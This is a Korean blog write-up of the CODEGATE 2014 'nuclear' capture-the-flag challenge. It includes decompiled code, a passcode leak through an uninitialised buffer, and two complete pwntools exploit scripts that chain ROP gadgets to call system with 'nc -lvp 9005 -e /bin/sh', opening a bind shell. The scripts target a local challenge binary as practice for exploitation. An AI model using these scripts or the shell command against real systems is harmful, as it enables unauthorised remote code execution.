ipwn
[CODEGATE 2014] nuclear 본문
이번에 풀 문제는 CODEGATE 2014 출제 문제인 nuclear이다.
난이도는 생각보다 크게 어려운 편은 아니었던 것 같다.
가장 먼저 이 문제를 풀기 위해서는 THIS_IS_NOT_KEY_JUST_PASSCODE파일이 필요하다.
파일 안의 내용은 대충 친구한테 적어달라고 했다.
바로 보호기법을 확인해보자.
NX가 걸려있지만 canary가 걸려있지않다! 귀찮게 leak하는 과정을 거칠 필요가 없어진 것 같다!!
IDA로 분석해보자.
일단 포트는 1129로 실행된다.
한 번 바이너리를 실행시켜 보겠다.
??? 뭐 하는 프로그램인지 도무지 모르겠다.
한 번 IDA로 분석해보겠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | ssize_t __cdecl real_main(void *arg) { char v1; // ST08_1 char v2; // ST08_1 ssize_t result; // eax char v4; // ST08_1 char v5; // ST08_1 char v6; // [esp+8h] [ebp-250h] char v7; // [esp+8h] [ebp-250h] char v8; // [esp+8h] [ebp-250h] pthread_t newthread; // [esp+1Ch] [ebp-23Ch] char s1; // [esp+20h] [ebp-238h] int v11; // [esp+220h] [ebp-38h] char v12[4]; // [esp+224h] [ebp-34h] char s; // [esp+228h] [ebp-30h] ssize_t v14; // [esp+248h] [ebp-10h] FILE *stream; // [esp+24Ch] [ebp-Ch] *(_DWORD *)v12 = 0; v11 = 0; memset(&s, 0, 0x20u); stream = fopen("THIS_IS_NOT_KEY_JUST_PASSCODE", "r"); if ( !stream ) { puts("opening passcode error!"); exit(0); } fread(&s, 0x20u, 1u, stream); fclose(stream); sub_8048A0D((int)arg, "\n\n:: Welcome to the Nuclear Control System ::\n\n", v1); while ( 1 ) { memset(&s1, 0, 0x200u); sub_8048A0D((int)arg, "> ", v2); result = sub_8048A6F((int)arg, &s1, 0x200u); v14 = result; if ( result <= 0 ) break; result = strncmp(&s1, "quit", 4u); if ( !result ) break; if ( !strncmp(&s1, "target", 6u) ) { sub_8048A0D((int)arg, "[+] Enter coordinate of target, (Latitude/Longitude)\n---> ", v6); memset(&s1, 0, 0x200u); result = sub_8048A6F((int)arg, &s1, 0x200u); v14 = result; if ( result <= 0 ) return result; __isoc99_sscanf(&s1, "%f/%f", v12, &v11); sub_8048A0D((int)arg, "[+] Target coordinate setting completed.\n", v4); } else if ( !strncmp(&s1, "launch", 6u) ) { sub_8048A0D((int)arg, "[+] Enter the passcode to launch the nuclear : ", v7); memset(&s1, 0, 0x200u); result = sub_8048A6F((int)arg, &s1, 0x200u); v14 = result; if ( result <= 0 ) return result; if ( strcmp(&s, &s1) ) return sub_8048A0D((int)arg, "[!] the passcode is not correct.\n", v8); memset(&s1, 0, 0x200u); sub_8048A0D((int)arg, "[+] Correct passcode!\n", v5); pthread_create(&newthread, 0, sub_8048B9C, arg); pthread_join(newthread, 0); } else { sub_8048A0D((int)arg, "[!] Unknown command : %s\n", (unsigned int)&s1); } } return result; }r |
간단하게 먼저 passcode를 맞추면 어떠한 함수를 실행하는데, passcode는 THIS_IS... 파일에서 32byte만큼 읽어온다.
가장 먼저 passcode의 값은 모르고 시작한다고 가정하는 문제이기에 passcode의 값을 알아내야 하는데,
sscanf로 s1에 담긴 값에서 실수형의 숫자를 v12, v11의 공간에 담는 것을 이용해 passcode를 leak할 수 있다.
s1은 v11 바로 앞부분까지 입력을 받고, v11바로 뒤에는 v12가 있으며, 그 뒤에는 passcode의 값이 있으니 leak이
가능한 것이다. 즉 canary가 없는 대신에 passcode를 leak해야한다.
괜히 좋아했다 ㅋㅋㅋ
한 번 passcode를 leak하기위한 script를 작성해보겠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | from pwn import * p = remote( 'localhost', 1129 ) p.recv(1024) p.send('target') p.recv(1024) p.send('0.1111111111/0.111111111111') p.recvuntil('> ') p.send('A'*512) print hexdump(p.recv(1024) |
되게 간단하게 script를 작성할 수 있었다.
어떠한 값이 성공적으로 leak이 됐다.
보아하니 AAA.... 뒤의 똑같은 4byte가 두 개 즉 8byte가 보이는데 그 뒤의 ch..~가 passcode인 것이라는 것을 알 수 있다.
그렇다면 우리가 받아와야하는 값은 숫자를 하나하나 세어보면 (...) [!] ~ AAA...이후의 "chaeyoung"부터
즉 index 542번째부터 받아와서 568번째 index까지 받아오면 된다는 말이 되겠다.
이제 passcode만 leak하는 script를 짜서 passcode를 leak해보겠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | from pwn import * p = remote( 'localhost', 1129 ) p.recv(1024) p.send('target') p.recv(1024) p.send('0.1111111111/0.111111111111') p.recvuntil('> ') p.send('A'*512) passcode = p.recv(1024)[542:568] print '[*] passcode leak : ' + passcode |
성공적으로 passcode를 leak했다.
passcode의 값은 chaeyoung_is_so_beautiful!이다.
passcode가 맘에 든다.
이제 passcode를 인증한 뒤의 함수를 들어가보겠다.
start_routine함수를 살펴보도록 하겠다.
이 곳에서 bof가 발생하는 것을 알 수 있다.
buf의 공간은 0x20c이지만 입력은 0x512만큼 받는다.
이제 exploit이 가능해졌다.
바로 ppppr gadget, recv_plt, send_plt, recv_got, system_offset, bss 이 여섯가지를 구하러 가보자.
아쉽게도 system함수는 사용하지 않는다.
바로 recv_plt, send_plt, recv_got, system_offset이 네가지를 동시에 구하도록 하겠다.
설명은 생략하도록 하겠다.
1. recv_plt = 0x80488e0
2. send_plt = 0x8048900
3. recv_got = 0x804b074
4. offset = 0x18a5a0
5. ppppr
6. bss
이제 두 개만 더 구하면 된다.
objdump를 이용해서 두 값을 전부 구해보도록 하겠다.
두 값을 전부 구했다.
이제 총 정리를 해보도록 하겠다.
1. recv_plt = 0x80488e0
2. send_plt = 0x8048900
3. recv_got = 0x804b074
4. offset = 0x18a5a0
5. ppppr = 0x804917c
6. bss = 0x804b088
이제 바로 exploit script를 짜서 shell을 가져오겠다.
성공적으로 shell을 가져왔다.
(해 보니까 /bin/sh>&4 <&4를 cmd에 넘겨주면 소켓으로도 shell을 가져올 수 있지만
이 문제에선 count down때문에 어지럽기에 그냥 nc로 /bin/sh를 넘겨줬다.)
solve.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 | from pwn import * p = remote( 'localhost', 1129 ) recv_plt = 0x80488e0 send_plt = 0x8048900 recv_got = 0x804b074 ppppr = 0x804917c offset = 0x18a5a0 bss = 0x804b088 cmd = 'nc -lvp 9005 -e /bin/sh' pay = 'A'*528 pay += p32(recv_plt) pay += p32(ppppr) pay += p32(4) pay += p32(bss) pay += p32(len(cmd)+2) pay += p32(0) pay += p32(send_plt) pay += p32(ppppr) pay += p32(4) pay += p32(recv_got) pay += p32(4) pay += p32(0) pay += p32(recv_plt) pay += p32(ppppr) pay += p32(4) pay += p32(recv_got) pay += p32(4) pay += p32(0) pay += p32(recv_plt) pay += 'AAAA' pay += p32(bss) p.recv(1024) p.sendline('target') p.recv(1024) p.sendline('0.1111111111/0.111111111111') p.recvuntil('> ') p.sendline('A'*512) passcode = p.recv(1024)[542:568] print '[*] passcode leak : ' + passcode p.sendline('launch') p.recv(1024) p.recv(1024) p.sendline(passcode) p.recvuntil('100') p.send(pay) p.send(cmd) recv = p.recv(1024) system = u32(recv) - offset print '[*] recv addr : ' + str(hex(u32(recv))) print '[*] system addr : ' + str(hex(system)) p.send(p32(system)) print '[*] nc localhost 9005 is shell!' |
ropsolve.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | from pwn import * p = remote( 'localhost', 1129 ) e = ELF('./nuclear') rop = ROP(e) offset = 0x18a5a0 cmd = 'nc -lvp 9005 -e /bin/sh' pay = 'A'*528 rop.recv(4, e.bss(), len(cmd)+2, 0) rop.send(4, e.got['recv'], 4, 0) rop.recv(4, e.got['recv'], 4, 0) rop.recv(e.bss()) pay += rop.chain() p.recv(1024) p.sendline('target') p.recv(1024) p.sendline('0.1111111111/0.111111111111') p.recvuntil('> ') p.sendline('A'*512) passcode = p.recv(1024)[542:568] print '[*] passcode leak : ' + passcode p.sendline('launch') p.recv(1024) p.recv(1024) p.sendline(passcode) p.recvuntil('100') p.send(pay) p.send(cmd) recv = p.recv(1024) system = u32(recv) - offset print '[*] recv addr : ' + str(hex(u32(recv))) print '[*] system addr : ' + str(hex(system)) p.send(p32(system)) print '[*] nc localhost 9005 is shell!' |
'CTF's > CODEGATE' 카테고리의 다른 글
[CODEGATE 2016] bugbug (0) | 2018.03.26 |
---|---|
[CODEGATE 2018] BaskinRobins31 (5) | 2018.03.02 |
[CODEGATE 2017] babyMISC (0) | 2018.01.31 |
[CODEGATE 2014] angry_doraemon (0) | 2018.01.30 |
[CODEGATE 2017] babypwn (0) | 2018.01.30 |